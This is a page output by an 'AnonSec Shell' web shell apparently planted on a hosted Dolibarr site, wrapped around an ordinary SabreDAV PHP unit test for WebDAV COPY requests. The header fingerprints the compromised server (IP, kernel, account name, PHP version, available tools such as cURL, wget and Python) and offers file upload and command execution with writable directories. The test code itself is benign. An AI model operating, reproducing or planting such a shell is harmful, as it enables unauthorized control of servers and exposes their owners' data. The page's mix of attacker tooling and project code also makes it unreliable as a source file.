AnonSec Shell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.193
Web Server : Apache
System : Linux webm006.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : awebpaca ( 35430)
PHP Version : 8.5.0
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/a/w/e/awebpaca/Dolibarr/htdocs/includes/sabre/sabre/dav/tests/Sabre/DAV/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/a/w/e/awebpaca/Dolibarr/htdocs/includes/sabre/sabre/dav/tests/Sabre/DAV/HttpCopyTest.php
<?php

namespace Sabre\DAV;

use Sabre\DAVServerTest;
use Sabre\HTTP;

/**
 * Tests related to the COPY request.
 *
 * @copyright Copyright (C) fruux GmbH (https://fruux.com/)
 * @author Evert Pot (http://evertpot.com/)
 * @license http://sabre.io/license/ Modified BSD License
 */
class HttpCopyTest extends DAVServerTest {

    /**
     * Sets up the DAV tree.
     *
     * @return void
     */
    function setUpTree() {

        $this->tree = new Mock\Collection('root', [
            'file1' => 'content1',
            'file2' => 'content2',
            'coll1' => [
                'file3' => 'content3',
                'file4' => 'content4',
            ]
        ]);

    }
    
    function testCopyFile() {

        $request = new HTTP\Request('COPY', '/file1', [
            'Destination' => '/file5'
        ]);
        $response = $this->request($request);
        $this->assertEquals(201, $response->getStatus());
        $this->assertEquals('content1', $this->tree->getChild('file5')->get());

    }

    function testCopyFileToSelf() {

        $request = new HTTP\Request('COPY', '/file1', [
            'Destination' => '/file1'
        ]);
        $response = $this->request($request);
        $this->assertEquals(403, $response->getStatus());

    }

    function testCopyFileToExisting() {

        $request = new HTTP\Request('COPY', '/file1', [
            'Destination' => '/file2'
        ]);
        $response = $this->request($request);
        $this->assertEquals(204, $response->getStatus());
        $this->assertEquals('content1', $this->tree->getChild('file2')->get());

    }

    function testCopyFileToExistingOverwriteT() {

        $request = new HTTP\Request('COPY', '/file1', [
            'Destination' => '/file2',
            'Overwrite'   => 'T',
        ]);
        $response = $this->request($request);
        $this->assertEquals(204, $response->getStatus());
        $this->assertEquals('content1', $this->tree->getChild('file2')->get());

    }
   
    function testCopyFileToExistingOverwriteBadValue() {

        $request = new HTTP\Request('COPY', '/file1', [
            'Destination' => '/file2',
            'Overwrite'   => 'B',
        ]);
        $response = $this->request($request);
        $this->assertEquals(400, $response->getStatus());

    }

    function testCopyFileNonExistantParent() {

        $request = new HTTP\Request('COPY', '/file1', [
            'Destination' => '/notfound/file2',
        ]);
        $response = $this->request($request);
        $this->assertEquals(409, $response->getStatus());

    }

    function testCopyFileToExistingOverwriteF() {

        $request = new HTTP\Request('COPY', '/file1', [
            'Destination' => '/file2',
            'Overwrite'   => 'F',
        ]);
        $response = $this->request($request);
        $this->assertEquals(412, $response->getStatus());
        $this->assertEquals('content2', $this->tree->getChild('file2')->get());

    }

    function testCopyFileToExistinBlockedCreateDestination() {

        $this->server->on('beforeBind', function($path) {

            if ($path === 'file2') {
                return false;
            }

        });
        $request = new HTTP\Request('COPY', '/file1', [
            'Destination' => '/file2',
            'Overwrite'   => 'T',
        ]);
        $response = $this->request($request);

        // This checks if the destination file is intact.
        $this->assertEquals('content2', $this->tree->getChild('file2')->get());

    }

    function testCopyColl() {

        $request = new HTTP\Request('COPY', '/coll1', [
            'Destination' => '/coll2'
        ]);
        $response = $this->request($request);
        $this->assertEquals(201, $response->getStatus());
        $this->assertEquals('content3', $this->tree->getChild('coll2')->getChild('file3')->get());

    }

    function testCopyCollToSelf() {

        $request = new HTTP\Request('COPY', '/coll1', [
            'Destination' => '/coll1'
        ]);
        $response = $this->request($request);
        $this->assertEquals(403, $response->getStatus());

    }

    function testCopyCollToExisting() {

        $request = new HTTP\Request('COPY', '/coll1', [
            'Destination' => '/file2'
        ]);
        $response = $this->request($request);
        $this->assertEquals(204, $response->getStatus());
        $this->assertEquals('content3', $this->tree->getChild('file2')->getChild('file3')->get());

    }

    function testCopyCollToExistingOverwriteT() {

        $request = new HTTP\Request('COPY', '/coll1', [
            'Destination' => '/file2',
            'Overwrite'   => 'T',
        ]);
        $response = $this->request($request);
        $this->assertEquals(204, $response->getStatus());
        $this->assertEquals('content3', $this->tree->getChild('file2')->getChild('file3')->get());

    }

    function testCopyCollToExistingOverwriteF() {

        $request = new HTTP\Request('COPY', '/coll1', [
            'Destination' => '/file2',
            'Overwrite'   => 'F',
        ]);
        $response = $this->request($request);
        $this->assertEquals(412, $response->getStatus());
        $this->assertEquals('content2', $this->tree->getChild('file2')->get());

    }

    function testCopyCollIntoSubtree() {

        $request = new HTTP\Request('COPY', '/coll1', [
            'Destination' => '/coll1/subcol',
        ]);
        $response = $this->request($request);
        $this->assertEquals(409, $response->getStatus());

    }


}

Anon7 - 2022
AnonSec Team